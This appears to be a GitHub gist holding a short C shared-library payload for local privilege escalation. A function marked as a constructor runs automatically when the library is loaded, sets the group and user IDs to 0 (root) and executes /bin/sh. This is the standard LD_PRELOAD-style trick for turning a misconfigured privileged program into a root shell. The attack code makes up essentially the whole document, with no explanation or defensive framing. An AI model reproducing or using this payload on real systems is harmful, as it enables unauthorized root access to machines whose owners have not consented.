Created
March 26, 2019 15:21
-
-
Save int0x33/17b5d576c7711bfa1c77b66fee52c33b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
static void inject() __attribute__((constructor)); | |
int random_token = 333; | |
void inject(){ | |
setgid(0); | |
setuid(0); | |
execl("/bin/sh","sh",0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment